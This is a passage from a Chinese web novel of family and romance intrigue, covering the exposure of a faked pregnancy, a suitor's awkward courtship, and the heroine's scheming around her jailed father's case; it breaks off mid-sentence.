为了五千万,她就可以不要自己的孩子。 这让杜浩然更厌恶她。 以前他怎么没发现,夏琉璃是个这么市侩的人。 哦,是了,以前夏琉璃不缺钱,所以从来不会跟他提钱。 现在缺钱了,自然就暴露真面目了。 但再厌恶夏琉璃,孩子也有他一半血脉。 杜浩然没多考虑,点头答应了。 反正生下孩子之后,这钱给不给的,是他说了算。 去了国外的人,在那么动荡的环境下,能不能活下来呢? 这可说不定。 死在国外的人可不在少数。 杜浩然也有自己的小算盘。 但目前为止,他跟夏琉璃的目标是一致的。 必须得跟赵家人“聊一聊”。 “赵家的事我会安排。” “越快越好,最好今天就能解决。” “我知道。” 杜浩然蹙眉,他不喜欢夏琉璃用这种命令式的语气跟她说话。 但考虑到她肚子里的孩子,杜浩然还是没表现出明显的不悦。 甚至,打算离开这里,就直接去赵家。 “你现在住在哪里?我送你回去。”杜浩然说。 夏琉璃有一瞬间的心虚。 她说:“我现在都住在酒店,你送我回酒店就行。” 杜浩然动了动唇,想起来自己后来就不让夏琉璃住到他的房子的事,心里多少感到了一些亏欠。 “我送你去杜氏旗下的酒店吧,这样我也好放心。” 夏琉璃没拒绝。 赵修凯那儿,她是不可能住过去了。 那个没用的东西已经开始怀疑她,她不想浪费半点时间在赵修凯身上了。 两人一前一后走出包厢,谁都不知道,隔壁包厢里,赵修凯清清楚楚地听见了两人的对话。 他气得浑身发抖。 这些日子,夏琉璃居然一直在骗他、利用他! 他被她耍的团团转! 他真是怎么都没想到,爷爷是被夏琉璃气病的。 更没想到,事情真的跟爷爷说的一样,她故意扔掉了爷爷的药! 一想到如果不是夏灼灼,爷爷可能就这么稀里糊涂地被人害死,而他却百般怀疑、针对夏灼灼,赵修凯气得抬手就给了自己一个耳光。 他真是蠢! 怪不得爷爷在病房的时候听到夏琉璃说的那些话那么生气。 换成是他,早就被气死了! 听到两个人要离开,赵修凯再也按耐不住自己的愤怒,迈步就要冲出去。 可就在这时,他听到门外有什么东西倒地的声音,随即响起夏琉璃的惊呼。 “啊——” 第138章 揭穿假孕 这一声惊呼,像是一盆冷水,浇醒了赵修凯的理智。 对方是杜家的人,他现在出去是讨不到任何好处的,说不定还会给家里带来麻烦。 冷静下来之后,赵修凯没有着急出去,只是把包厢门打开了一条小缝,观察着外面的情况。 只见夏琉璃惊呼,是因为被人撞倒了。 撞倒她的,是一个约莫四十来岁的男人。 “实在不好意思,小姐。” 男人一脸抱歉,伸手要去拉夏琉璃,但被杜浩然挡住了。 他一副很关心的样子,小心扶起了夏琉璃,询问她有没有事。 但不论是赵修凯还是夏琉璃都清楚,杜浩然担心的,是夏琉璃肚子里的孩子。 不过夏琉璃似乎并不在乎杜浩然担心的是谁,她就着杜浩然的手,慢慢站了起来。 杜浩然锁眉问:“你怎么样?” 夏琉璃眼底泄出一抹嘲讽,吐出两个字:“没事。” 杜浩然松了一口气。 刚才他真是被吓了一跳。 他扭头,冷眼看着中年男人。 “你走路不看路吗?” 中年男人连忙再次道歉。 “真是不好意思,我着急离开才不小心撞到你了。我向您道歉,小姐。” 夏琉璃不悦地皱了下眉,可心里太多心事,她懒得跟这人纠缠。 “你走吧!算我倒霉!” 然而中年男人却没有直接离开,而是不由分说,拉住了夏琉璃的手。 “你干什么?” 夏琉璃下意识想挣扎,但男人死死抓住她的手。 杜浩然正要上前拽开中年男人,就听对方说:“小姐不要误会,我是个中医,我帮你把脉看看你有没有事。如果有什么事,我会承担责任的。” 听到这话,杜浩然没动了。 有个医生帮忙看看,他能更放心夏琉璃肚子里的孩子。 然而夏琉璃却是脸色大变。 “我说了我没事,你放开我!” 她用力想要挣脱,可中年男人的力气很大,她根本挣脱不了。 “小姐,别害怕,我真是中医,附近的回春堂是我开的,我帮你把一把脉,半分钟就好。” 男人说着,另一只手已经搭上她的脉。 夏琉璃尖叫。 “我不要你把脉!你放开我!” 杜浩然皱起眉,隐约觉出了不对劲。 他开口道:“琉璃,让他把个脉,你我都好安心。” “我不用!我很好,我自己的身体,我自己清楚。” 她一边说,一边挣扎着自己的手。 眼见挣扎不开,她心里发了狠,用另一只没有被牵制住的手去掐中年男人。 可那男人面色分毫不变,像是感觉不到痛一样。 “放开我!放开啊!” 夏琉璃高声尖叫,引得咖啡厅的人都看了过去。 杜浩然更觉怪异。 “琉璃,你做什么这么激动?” 把个脉而已,又不是什么大事。 何况这个男人看起来眉目整齐,身上一股中药材的味道,很明显的确是个中医师。 “我……” 夏琉璃正要找借口,中年男人在这时松开了她的手腕。 他笑着说:“已经把过脉了,小姐,你没什么大碍。” 夏琉璃心跳飞快。 “既然我没事,那你赶紧走吧!” 她害怕这男人说出什么不该说的话来。 可男人再次开口:“小姐,我是医生,恕我多一句嘴。你既然在经期,还是别喝咖啡比较好。” 夏琉璃的脸色倏然变白。 没等她有所反应,杜浩然一把抓住了她的胳膊。 “你在经期?!” 一个孕妇,怎么会在经期?! “我没有!我没有在经期!你不信可以看,我们进包厢……” 杜浩然皱起眉,夏琉璃的反应,不像是在骗人。 只听那中医再次开口:“小姐,我当医生也有二十来年了,你是不是在经期,我怎么会把不出脉呢?” “我说了,我没有在经期!你这个人,到底在胡言乱语什么?!” 中医很平静地笑了笑。 “你如果不是在经期,那就是快要来月经了,或者月经刚结束,前后不会相差超过一周。” “夏、琉、璃!” 杜浩然一字一句念出她的名字。 每一个字,都像是从牙缝里挤出来一般。 “浩然,你别听他胡说!我没有月经,我怎么来月经呢?你是知道的……” 可杜浩然已经不想再听她说什么了。 他要看事实。 “来人!” 随着杜浩然开口,咖啡厅门口的两个保镖快速走到两人面前。 “少爷,您有什么吩咐?” “把她带去医院!” 中医有可能弄错,但医院绝对不会弄错。 夏琉璃腿一软,连辩解的话都说不出,直接被拖走了。 杜浩然也没管那中医,快步跟了上去。 一行人很快消失在咖啡厅门口。 那位中医目送他们离开,转而朝某个包厢看去。 这一看,正好跟偷看的赵修凯对上视线。 偷看被发现,赵修凯尴尬地伸手就要关上包厢的门。 可那中医的速度很快,在门彻底关上之前,伸出了一只手,卡在了门框上。 赵修凯一愣,不敢再用蛮力。 下一秒,只听那中医说:“你是赵少爷吧?” 赵修凯错愕地拉开门。 “你是哪位?” “我是夏小姐派过来的。” 夏琉璃不认识这个男人,所以对方说的“夏小姐”,只能是夏灼灼。 赵修凯一双眼睛微微瞪大。 所以说,刚才那一幕,都是夏灼灼安排的? 是这个男人听了夏灼灼的吩咐,故意撞倒夏琉璃的? 男人仿佛听到了他心中所想,开口道:“夏小姐安排的这一出戏,赵少爷可觉得好看?” “……夏琉璃,是假怀孕?” “没错。” 见对方笃定点头,赵修凯心里说不出是什么心情。 总之,很复杂。 比起傻乎乎的自己,他看不起的夏灼灼,查到了夏琉璃会在这里见到杜浩然,又提前安排了这个中医出现,揭穿了夏琉璃的真面目。 那个夏灼灼,究竟是何方神圣? 她怎么会料想到这么多? 只听男人再次开口:“夏小姐让我告诉你,赵大师现在就在医院等着你,你去见他吧。” 说完,男人转身就走了。 赵修凯好几分钟才回过神来。 他今天一天接收的信息量,实在是太大了。 大到他的脑袋一片混沌。 不过他还记得这个中医跟他说的话。 他稍稍整理了一下自己,去柜台付了钱,开车往医院去。 路上,他忍不住拨通了夏灼灼的电话。 此时,夏灼灼早已经回到了夏家。 她避到没人的地方,接通了赵修凯的电话。 “你还没去医院?”她开门见山地问。 “在去医院的路上了。” “那你打给我,是还有什么疑问吗?” “……”赵修凯陷入了沉默。 打电话之前,他心里有很多话要跟夏灼灼说。 可听到夏灼灼清冷的声音,他却反而不知道该说什么了。 他心里,愧疚、尴尬,又窝火。 当然,窝火是对他自己。 “赵修凯,我的时间很宝贵,你要是没别的事,我就先挂了。”夏灼灼的语气里透着明显的不耐烦。 还是那句话,如果不是为了赵缇,她不会管这个赵修凯的死活。 赵修凯连忙说:“别挂,我有话要说!” “……你说吧,我给你一分钟的时间。有任何问题,你都可以问。” 赵修凯道:“你是从什么时候知道琉璃……夏琉璃,是她害了我爷爷?” “从我来到手术室门口的时候。” 赵修凯的脸立刻就红了。 她居然那么早就知道了…… 那这么长时间以来,自己的一言一行,在夏灼灼眼里是不是就是个小丑? “还有问题吗?” “……没了。但我想对你说……谢谢,还有,对不起。” “用不着。”夏灼灼的语气依旧淡淡的。 “我做这些不是为了你,是为了我的老徒弟。你用不着道谢,至于道歉,也免了吧。” “……” “还有什么话要说吗?” “没了。” 夏灼灼一个字都没有废话,直接挂断了电话。 她以为赵修凯至少会说点实际的。 比如,接下来要怎么做。 可他一点都不提以后的事情,反而在之前的事情里打转。 这个赵修凯,不值得她浪费更多的时间了。 她已经可以预见,等赵缇百年之后,赵家,应该会渐渐没落了。 真是可惜了。 就在这时,夏六蹦蹦跳跳朝她走过来。 “妹姐,你看,这是我做的饺子。好看吧?” 夏灼灼看了一眼。 “的确不错。” “妈和许姨都说我有天赋。” “这么说,你以后打算做个厨子?” 夏六一噎:“当然不是……” 夏灼灼弯了下唇,说:“那你做个画家怎么样?我有个徒弟,在国画界还算有点地位,你想拜他为师,继承他的衣钵吗?” 夏六的脑子在这时候转的很快。 “你说的是赵缇大师吗?” “没错。” 夏六眼睛一亮:“我当然想!只是……人家未必肯收我。” 夏灼灼笑得轻松。 “他会收的。” 赵家,后继有人了。 而她六哥,很快就要真正开始绽放异彩了。 一举两得。 转眼到了下午,司慎行来了。 他不仅自己来了,还带着阿麦、霍刚一块来了。 三个人手里都拎着大大小小的礼盒。 客厅一角几乎被他们的礼物堆满了。 而且随便挑一样出来,都是价值连城。 第139章 不想跟他纠缠了 夏灼灼看了眼那堆礼物,又看了眼笑容满面如沐春风的司慎行,心里腹诽。 他们说好的六点开饭,可现在才三点多。 这司慎行,当真这么闲么? 不仅夏灼灼,夏家所有人都很惊讶司慎行怎么来得这么早。 在厨房忙碌的夏太太连忙出来迎客。 就连还在楼上休息的夏怀征,都撑着拐杖下楼了。 “怎么带了这么多东西?请你吃饭,还叫你这么破费,下次过来可不许再带礼物了。” 夏太太一边解下围裙,一边说。 司慎行道:“这是应该的,就是不知道您和几个哥哥喜欢什么,就什么东西都买了一点。” “几个哥哥”四个字一出,家里几个男人都彼此意味深长地对视了一眼。 夏太太倒像是没察觉出不对劲,笑意盈盈地说:“没想到你这么早就到,饭菜可能还要一会儿。怀呈带回来一块年份很不错的茶饼,你去茶室尝尝。” 夏怀呈立刻做了个“请”的手势。 司慎行没拒绝,但在茶室之前,开口让阿麦去厨房帮忙。 夏太太连忙婉拒。 “不用不用,你们是客人,哪有让客人帮忙做饭的?” 阿麦已经围上了刚才夏太太挂在椅子上的围裙。 “伯母别客气,我平时就喜欢自己研究菜品。您要是不嫌弃,我给您做一道创意菜尝尝。” “这……” 夏太太还想拒绝,司慎行开口了。 “伯母,他平时在家里就喜欢进厨房瞎捣鼓,您就让他露一手吧。” 夏太太便同意了。 很快阿麦就跟着夏太太进了厨房,而霍刚则是跟夏怀武很有话题。 两个人都是学武的,聊起武术滔滔不绝。 夏灼灼站在客厅,突然觉得自己倒像是个外人,不知道该干什么了。 正打算也去厨房帮忙,她被夏怀征叫住。 “小七,推我去茶室,我也尝一尝小二买回来的茶饼。” 夏灼灼没办法,只好带着夏怀征去了茶室。 进去的时候,司慎行已经喝上茶了。 只见他闲闲坐着,一双修长的双腿被黑色西裤包裹着,西装外套脱下来,挂在椅背。 身上只简单穿着一件白衬衫,领带微松,身影说不出的矜贵。 只听他说:“沪城已经有一个迪士尼,你想做第二个,这很好,只是IP的选择上要慎重。” 夏怀呈点头:“我考虑了两个IP,一个是国产IP,以山海经为主题。另一个是国外的,做魔法类的……司少觉得哪个更好?” 司慎行毫不犹豫开口:“山海经。” 夏怀呈郑重道:“我也是这么想的,魔法向这一块,跟迪士尼有重叠。只是国内还没有山海经向的主题乐园,很多东西都得摸着石头过河。” 司慎行道:“如果二哥有需要,我可以给你引见几个设计师。” 夏怀呈的眼睛亮了起来。 “真的?” “小事一桩而已,二哥这边如果没什么问题,明天我就能把人给你送来。” 夏怀呈连忙举杯:“多谢司少了!” 司慎行抿了一口茶,说:“你叫我慎行就好。” 年龄上,夏怀呈还比司慎行大几岁,叫名字也不失礼节,反而拉进两人的距离。 “那我就恭敬不如从命了,慎行。” 司慎行点头,薄唇笑容扩大,随即又问起夏六。 “六弟,已经准备好去公司了吗?” 夏六听着“六弟”这个称呼,莫名觉得有点不自在。 不过他还是点头:“只等着周一去公司报道了。” “有什么不适应的随时告诉我,空闲的时候也可以来楼上找我喝茶。” 俨然一副当哥哥的姿态。 夏六正要说好,余光瞥见了夏灼灼和夏怀征。 “大哥,妹姐,你们来了?快进来坐。” 司慎行闻言,半转过身朝茶室门口看去。 他坐在具有设计感的吊灯下,头顶仿佛自带光芒。 只是抬眼朝夏灼灼看去的时候,那双黑眸变得更加深不可测起来。 跟之前见面不同,确定那天在泉灵山庄的人就是夏灼灼后,再看夏灼灼,心里有更多的感触。 也有更多的……缱绻和期待。 他的眼神,像是带着能灼伤人的温度。 屋里几个人都不是蠢人,一眼便看出司慎行看夏灼灼时,眼神的不同。 但几个人都当作没看到。 只是都很奇怪,司慎行是什么时候跟他们家的小七…… 再看夏灼灼,她只是很小心地把夏怀征推到茶桌边,便要离开了。 “小七,不坐下来一起喝杯茶吗?” “不了。”夏灼灼对上夏怀呈的视线,说:“我去厨房帮妈。” 夏怀呈点头,没再留她。 只是大家更加奇怪。 怎么小七跟司慎行好像不怎么熟? 司慎行却…… 这两个人到底怎么个意思? 司慎行全程没说话,只是在夏灼灼离开后不久,便提出去上卫生间。 一楼就有公用的卫生间。 他从卫生间里出来,就看到一道窈窕的身影站在门口。 司慎行唇角轻弯,笑了。 “故意等我吗?” 夏灼灼转过身来,表情很冷淡。 “没错。” 司慎行笑容扩大,笑得甚至有些放肆。 “我以为你会一直跟我装不熟,直到我离开。” 夏灼灼没接他这句话,开门见山地问:“你打的什么主意?” 司慎行歪了下头,像是没听懂。 “什么什么主意?” “别装了。”夏灼灼上前一步,跟他直直对视:“你跟我家里人是不是有点太熟了?你叫他们二哥、六弟,他们什么时候成你哥哥和你弟弟了?” 司慎行深深回视着她。 “早晚要改的称呼,早叫早习惯不是?” “什么早晚要改?你不用改。他们成不了你的哥哥和弟弟。” “是吗?” “是!” 她的身份和本能,都不允许她跟司慎行走得太近。 他们不过是互相欠过人情的关系,不能更近一步了。 “好吧。”司慎行低垂下头,显得很伤心的样子:“你不让我叫,那我就不叫了。” 夏灼灼有种一拳头打在棉花上的感觉。 “吃完饭之后,你就赶紧走,别多留。” “这么绝情?” “我本来就不是什么多情的人,司先生要是想找多情的人,外面一抓一大把,就不要在我身上浪费时间了。” “可是我不觉得是在浪费时间。” 夏灼灼的眉头拧起:“你到底想怎么样?” 好好的,突然对她家里人大献殷勤。 今天送来的礼物,更是超出一套房子的价值。 这很奇怪,事出反常必有妖。 家里人都单纯,所以她不得不警醒一点。 司慎行一脸的无辜。 “我只是来吃饭,灼灼,你忘了,是你邀请我来吃饭。” 夏灼灼一噎。 的确是她邀请的。 虽然是妈妈授意的。 可,这话没法反驳。 “总之,你吃完就早点走。我二哥的项目,谢谢你的帮忙,但是不用了,他自己会找到合适的设计师,我也会跟他说。” 司慎行深深看她一眼。 “我以为我们是朋友。” “我们的确是朋友,我也不希望跟司先生做敌人。但朋友之间,也该有点距离感,司先生跟我几个哥哥走太近,我会觉得不舒服,希望你能理解。” 她也不傻,她能感觉出,这段时间的几次接触,司慎行对她产生了好感。 她……或许也有过那么一刻对他产生过好感。 可这都是假的。 人在遇到危险的时候被人救下,或是遇到困难遇到有人出手相助,本来就会对方产生感激。 这种感激,很容易被误会为是好感。 她自己也弄错过,迷茫过,但现在已经冷静下来。 她希望司慎行也能冷静下来。 不要把一时的欣赏和感激,误认为是好感。 她有很多重要的事情要做,不能跟司慎行再继续纠缠不清下去了。 尤其是,她的身份不能被任何具有危险性的人知道。 司慎行,身份太重要,太危险,也太引人注意。 跟他纠缠不清,只会让更多人注意到她。 这对暗部不是什么好事。 作为暗部首领,她要对暗部负责。 司慎行的表情慢慢变得郑重。 “我知道了,是我太唐突了。” 夏灼灼再没说话,转身离开,重新进厨房帮忙了。 司慎行盯着她的背影,眼神晦暗不明。 是他太着急了吗? 因为得知他的白月光就是夏灼灼,所以着急地想跟夏家人拉近距离,反而让夏灼灼产生了反感。 在男女感情的方面,他是一张白纸,对此一窍不通。 所以做任何事,他都是凭借本能。 看来,他不能再凭本能做事了,得找个有经验的,指点一番。 不多时,饭菜上桌,天边也出现了漂亮的晚霞。 正如夏灼灼希望的那样,司慎行表现得很得体、客气,没有再跟任何人热情攀谈。 家里几个兄弟都觉得奇怪,可是没多问什么。 气氛怪异的时候,说多错多,不如不说。 晚餐结束,司慎行便起身告辞。 “不多坐一会儿吗?”夏太太问。 “不了,公司还有点事,需要我回去处理。” 听到是有正经事,夏太太也不强留,亲自送司慎行出门。 上车后,司慎行很沉默。 阿麦和霍刚都觉出不对劲。 “少爷,您怎么了?” 司慎行说没什么,但下一秒突然问:“季桓是不是回国了?” “是的。” “让他来沪城玩几天,我请客。” “是!” 第140章 失恋般的心情 霍刚和阿麦都有点激动。 季恒是季家的二少爷,是司慎行极少真正交心的好朋友。 司慎行最低迷阴沉的那几年,就是有季恒的陪伴,他才慢慢走出来。 有他在的地方,气氛就不会冷下来。 季恒虽然看起来放荡不羁,除了吃喝玩乐,其他一无是处,但那只是他的伪装色。 所有人都以为季家的大少爷年轻有为,但其实,季恒比他哥更出色。 他是司慎行藏在所有人眼皮子底下的一把利刃。 这几个月,正是有季恒的帮助,司慎行才能在那么短的时间内,成功在S集团总部站稳脚跟。 这次出国,季恒是去为司慎行谈一个海外项目的。 但对外,他说的是出国旅游。 而正好,他今天“旅游”回来了。 …… 另一边,夏太太一回客厅,就叫来夏灼灼。 “灼灼,怎么回事?” 夏灼灼佯装不解。 “什么怎么回事?” 夏太太动了动唇,有很多话想说,可话到嘴边还是咽了回去。 之前司董事长提起那桩婚约的时候,夏太太还怕司慎行不喜欢她家小七。 没想到,现实是两人角色对调。 她真不知是该哭还是该笑。 但她最终还是选择尊重夏灼灼自己的想法,强扭的瓜不甜的道理,她懂。 于是硬生生把话咽了回去。 “算了,没什么,我有点累,上楼休息了。” 夏灼灼点头,目送夏太太上楼。 夏太太前脚刚走,后脚夏六就凑了上来。 “妹姐,你跟司慎行到底……” “我们只是朋友。” 一句话表明了夏灼灼的立场。 夏六觉得有些遗憾。 他觉得只有司慎行这样的,才配得上他的妹姐。 奈何流水有意,落花无情。 哎! 正惋惜着,夏怀乐下楼了。 他戴着个鸭舌帽,几乎遮住了他整张脸。 自从去到炎享,他得到了最大限度的曝光量,出门都能被人认出来了。 只是,他还缺一部好作品。 “三哥,你要出门?”夏灼灼问。 夏怀乐点头,说:“公司给我推荐了个好剧组,我今天是去试一场夜戏的,如果没什么问题就能定下来。” “是男主吗?”夏六问。 夏怀乐有点激动地点头:“嗯!” 这是他第一次演男主角,还是一部大制作的电影。 “三哥加油,你会成功的。”夏灼灼的语气很笃定。 因为整个制作板底,全是她的人。 夏怀乐虽然是去试戏,但只是走一个流程。 甚至剧本都是夏灼灼为夏怀乐亲自挑选的。 夏怀乐很贴合男主的人设,不管是外形,还是性格,加上夏怀乐肯吃苦,打斗戏对他来说不是问题。 所以她能预见,这部电影一上映,凭夏怀乐的本事,一定会大爆。 她在帮夏怀乐,同时,也是在帮自己。 炎享这几年虽然势头很猛,出了好几个粉丝量很大的艺人,但还缺一个实力和人气并存的重磅艺人。 夏怀乐的出现,能让炎享更上一层楼。 娱乐圈,不是夏灼灼资产里最赚钱的一项,但掌握娱乐圈,就等于掌握舆论,对于暗部以后能被大众接纳很有利。 暗部不能一直藏在光影之下。 炎享,正是在为暗部走到阳光下铺路。 夏灼灼不做亏本的生意,她跟夏怀乐,是互利互惠的关系。 只是夏怀乐自己不知道,夏灼灼就是他的伯乐。 转眼晚霞散去,天色暗下来。 夏灼灼为夏怀征进行治疗之后,就回到房间洗澡睡觉。 可不知怎么的,翻来覆去,就是睡不着。 明明一切都发展得很顺利—— 大哥的腿,一天比一天恢复好; 二哥的项目进展很顺利; 三哥的娱乐圈之路也有了盼头; 就连最不起眼的六哥,都成了S集团二代新能源汽车的外观总设计师…… 但她就是莫名地高兴不起来。 怎么回事呢? 夜,越来越深了。 夏灼灼还是睡不着,索性套了件外套,打算下楼走一走。 可路过宁穗香的房间后,却听到了里面传来说话的声音。 现在已经十一点多了,妈一向睡得早,今天怎么还没睡觉? 她在跟谁说话? 夏灼灼的脚步不自觉停了下来。 因为房门开着一条小缝,所以夏灼灼能清楚地听到里面的人的说话声。 她还看到屋子里只有宁穗香一个人,她是在打电话。 只听她说:“党哥,云海最近怎么样?” 夏灼灼细眉微敛。 党哥? 对方姓党? 这个姓并不常见,夏灼灼能想到的,只有一个人。 而那人,在京都。 只听里面传来微弱的中年男人的声音。 “他一切都好。只不过最近风声比较紧,你暂时不能去见他。” “我知道……我不着急,但是,我想让他见一见小七。小七回来一个多月了,还没见过自己的爸爸……” “我明白了,我会尽快安排。” “谢谢党哥。” “都是自己人,不说谢。他进去,也是为了帮我,是我欠你们的。” 宁穗香问:“你这么晚给我打电话,是有什么事吗?” 对方顿了下,说:“有一件事,我需要你帮忙。” “你说。” “孙峥跃不知道什么原因,退出了云海的案子的审理,所以上面会再指派一个新人参与他的审理。这个人是中立派,明天就会到沪城。” “不知道我要怎么做?” “他有个儿子,明天生日,我会帮你牵线,你替我送生日礼物过去,试探一下他的态度。地址我一会儿发给你。” “好。” “行,那就这样。” 通话结束,里头再没了说话声。 夏灼灼悄然离开,回到了自己的房间。 她今天听到的对话,信息量极大,可以帮她确定好几件事。 第一件,夏云海果然是故意进去的,这是夏家的一个局。 第二件则是,夏家,是党家一派的。 能被牵扯到这件事里,并且还姓党的人,有且只有一个。 那就是在京都,正在跟窦家斗得死去活来的党家。 窦、党两家争斗已久,明年是换届的一年,窦党两家的关系,由此进入白热化的阶段。 夏云海进去,是蛰伏。 免得在外面,叫人抓住更多人为制造的把柄,所以索性先自断一臂。 夏云海在里头,比在外面更安全。 但夏云海不能真的被窦家找出什么罪证来,所以,这个负责审核的人至关重要。 他可以是中立的,但绝不能是窦派的。 紧接着,夏灼灼又想到了另外一件事。 那就是司家。 夏家如今在外人眼中是落魄的凤凰不如鸡,可司董事长却仍然跟她妈妈私下提起了她跟司慎行的娃娃亲。 这么看来,司董事长也是站在党家一派的。 想通了这件事后,夏灼灼就明白了为什么司慎行今天表现得这么热情。 他对她,或许是有几分好感的,但更多的,是利益的趋势。 夏、党两家关系亲密,亲密到愿意为了对方,主动“进去”。 一旦党家得势,夏家自然跟着水涨船高。 司家,是在押宝。 司慎行,同样也是。 夏灼灼的眸光,渐渐变冷。 她知道自己今天为什么不高兴了,因为她主动推开司慎行之后,出现了戒断反应。 这段时间,她习惯了接受司慎行的帮忙,也习惯了,帮助司慎行。 乍一关系变冷,她心里不习惯。 可想明白窦、党、夏,三家的关系后,她心里突然就不难受了。 原本就是利益纠葛,她何须付出真心,为此伤感? 何况他们之间的关系,本就是八字都还没一撇。 理清楚脑子里乱七八糟的情绪后,夏灼灼很快就睡着了。 那边司慎行却是一夜没睡。 夏灼灼的抗拒、冷淡,让他心情非常不好。 他想问为什么,却不知道从何问起。 想忽略这种心情,却做不到。 长这么大,他已经品尝过所有的人情冷暖,但像今夜这么心情复杂的,还是第一次。 哦不,准确地说是第二次。 第一次,是他得知自己并不是私生子,而是被狸猫换太子了的那天。 这一晚,司慎行喝了很多酒。 但他酒量太好,愣是没有把自己灌醉。 第二天阿麦推门进来的时候,看到司慎行还坐在窗边喝酒,顿时吓了一大跳。 “少爷,你昨晚没睡吗?” “嗯。”司慎行淡淡应声,声音略显喑哑。 他继承了司董事长和司太太年轻时候的好容貌,哪怕熬了一个晚上的夜,依旧不掩神采,只瞳仁有一抹红血丝。 阿麦斟酌着字句开口:“少爷要不要休息一个上午?上午的行程我帮您推了?” “不用。” 司慎行从皮质椅上站起身。 “你先出去吧,我洗个澡就出发去公司,中午按照原定的行程,去姜家做客。” 顿了下,他又补充了一句:“去帮我选一样十岁左右的男孩子喜欢的礼物。” “是给姜小少爷的吗?” “嗯。” “好的,我选好之后拿来给您过目。” “不用,我对这个年纪的孩子一窍不通,你觉得好就好。” 说罢,司慎行直接进了卫生间。 阿麦没再停留,转身退出房间。 却恰好碰上了匆匆准备出门的霍刚。 “你去哪儿?”阿麦问。 霍刚撇了下唇角,很烦躁地说:“去接司珏羽,那位姑奶奶因为台风,延迟了来沪城的飞机。现在台风过去了,这不,我得去机场接她了。” 第141章 嘲讽她们? 闻言,阿麦递过去一个同情的眼神。 同时也庆幸少爷没派他陪着。 那个姑奶奶,刁蛮任性,目中无人,一点礼数都没有,谁陪着,谁倒霉。 见霍刚骂了句娘后就要走,他提醒道:“别让她跟夏怀乐见面,惹恼了夏家的人,少爷叫你提头来见。 “废话,这我当然知道。 他一撇唇,走了。 …… 另一边。 夏灼灼起床后,接到了赵缇打过来的电话。 “师父,多亏了你,我那个蠢孙子总算是看清某些人的真面目了。不然他要是哭着喊着非夏琉璃不娶,我可能真的扛不过去……就算扛过去了,说不定也会迫于无奈,接受一个差点杀了我的人当我的孙媳妇。 夏灼灼语气平静。 “真到了那种时候,你这个孙子不要也罢。我看你的儿媳妇还年轻,拼一拼,再生一个也行。 这个号练习废了,那就换个号练嘛。 赵缇苦笑一声,说:“幸亏没到那个地步。他愿意跟我一起,跟警方报案。 夏灼灼提醒道:“既然你们达成一致了,那就快点行动,免得人跑了。 “好,我这就报警。 夏灼灼挂了赵缇的电话,又给谷仔打过去一个。 “派人盯着夏家那个养女,别让她离开沪城。 “是。 谷仔答应着,说起另一件事。 “昨天虎头帮的金虎来找过我,说可以帮我们一起建造地下办公区。这个人……咱们可以信任吗? “可信。 谷仔应声,正要挂断电话,又听夏灼灼说:“动用我们可以用的人脉,帮一个叫窦斯礼的人早点出狱。 “窦斯礼是京都那边的那个吗? “嗯。 “好,我明白了。 通话结束,夏灼灼目光幽静地看向远方。 之前她一直没插手夏云海的事情,是怕自己贸然出手,搅乱宁穗香他们的安排。 现在知道他们的大致情况后,她知道该怎么出手了。 窦党之争,从前她就在密切关注。 之前一直想打压暗部的人,包括白家人,都是窦派的。 跟窦派不同,党派对暗部还是秉持不违法就不处置的态度。 如果最后党家能赢,对暗部无疑是一件好事。 所幸她跟夏家立场一致,否则她还真不知道该怎么选择。 窦斯礼是 个又蠢又坏的东西,放这个家伙出来,对窦家明着看是好事,但事实如何就不知道了。 千里之堤毁于蚁穴,窦斯礼就是窦家的蛀虫蚂蚁。 她可以利用这只小蚂蚁,推翻看似铁桶一个的窦家。 正兀自想着自己的计划,房门被人敲响。 “灼灼?” “妈。”夏灼灼回神,拉开了房门。 见夏太太穿戴整齐,她心里很清楚她要去哪儿,但还是故意问:“您要出去?” “是啊,给一个朋友家的孩子挑选十周岁生日礼物。你在家里要是没事,跟妈一块去?” 夏灼灼正愁要找什么借口让宁穗香带上她,这下省事了。 她点头:“太好了,我正觉得无聊呢。” “那你收拾一下,换身干净衣服,妈在楼下等你。” “好。” …… 夏太太离开后,夏灼灼并没着急换衣服,而是给谷仔打了个电话。 “帮我查一下,从京都调到沪城,负责夏云海案子的人是谁,有什么喜好。包括他家人的喜好,全都告诉我,要快。” “是。” 通话结束,夏灼灼这才开始挑选衣服。 她知道,宁穗香今天的目的是去试探一下对方的态度,但对她来说,仅仅是试探还不够。 还需要让对方站到他们这边来。 但这件事,不太好办。 对方保持中立,必然忌讳跟任何一派的人走太近。 不过夏灼灼已经想好了,如果不能拉拢大人,那就讨得小孩子的欢心。 之后再一点点来,循序渐进。 小孩子的生日,她不需要穿的太花俏,简单利落就好。 因此夏灼灼没挑裙子,而是穿了件白色丝绸荷叶领衬衫,下身一条黑色直筒牛仔裤。 白黑色的简单穿搭,看起来格外干净大方,还衬得她原本就窈窕的身形更加修长。 至于头发,夏灼灼只是简单扎了个三股辫,沿着头部的曲线自然垂在胸前,让头发不要随意飘散。 化妆就不必了,干干净净的最好。 小孩子并不喜欢打扮太浮夸精致的大人,会让他们产生距离感。 穿戴整齐,谷仔的电话也打过来了。 “您要查的人名字叫冯邵阳,43岁。他太太很年轻,只有32岁,叫温暖。两人很恩爱,有个十岁的儿子,叫冯淮安。” “冯邵阳这个人没什么喜好,也不爱参加宴席,没事的时候就喜欢待在 家里陪老婆孩子偶尔会下一下国际象棋。” 夏灼灼沉凝。 没什么喜好吗? 那只能从他太太和孩子身上入手了。 “他太太喜欢什么?” 谷仔道:“她太太倒是很喜欢玩珠宝自己开了两家珠宝店。至于那个孩子……我暂时查不到有什么特别的爱好。需要我再派人去查吗?” 夏灼灼“嗯”了声 挂断电话夏灼灼迈步下楼。 夏太太在楼下已经等了很久正准备上楼催促就看到夏灼灼下楼了。 一抬眼见夏灼灼一身干净利落的打扮夏太太心里很满意。 她这个女儿完美继承了她和丈夫身上的优点长得大方美丽。 她是他们爱的结晶。 夏太太牵住夏灼灼的手语气一如既往地温柔:“我们走吧。” …… 等到了商场夏太太目的明确地带着她往一家珠宝店走。 里面各色珠宝首饰琳琅满目看得人眼花缭乱。 夏太太很快挑中了一条手链。 手链是全钻的接口处还镶嵌两颗粉钻价值一百多万。 夏太太拿在手里对比很是满意。 她想的是这手链时髦又昂贵配得上对方太太的身份。 正要买下来夏灼灼突然开口:“妈咱们家不是破产了吗?这么贵的手链买下来家里以后的支出怎么办?” 夏太太表情微微一愣。 家里其实是不缺钱的。 破产只是表面功夫。 但夏太太在这一瞬间想到如果带这么一条昂贵的手链送过去叫有心人看见了察觉出他们家 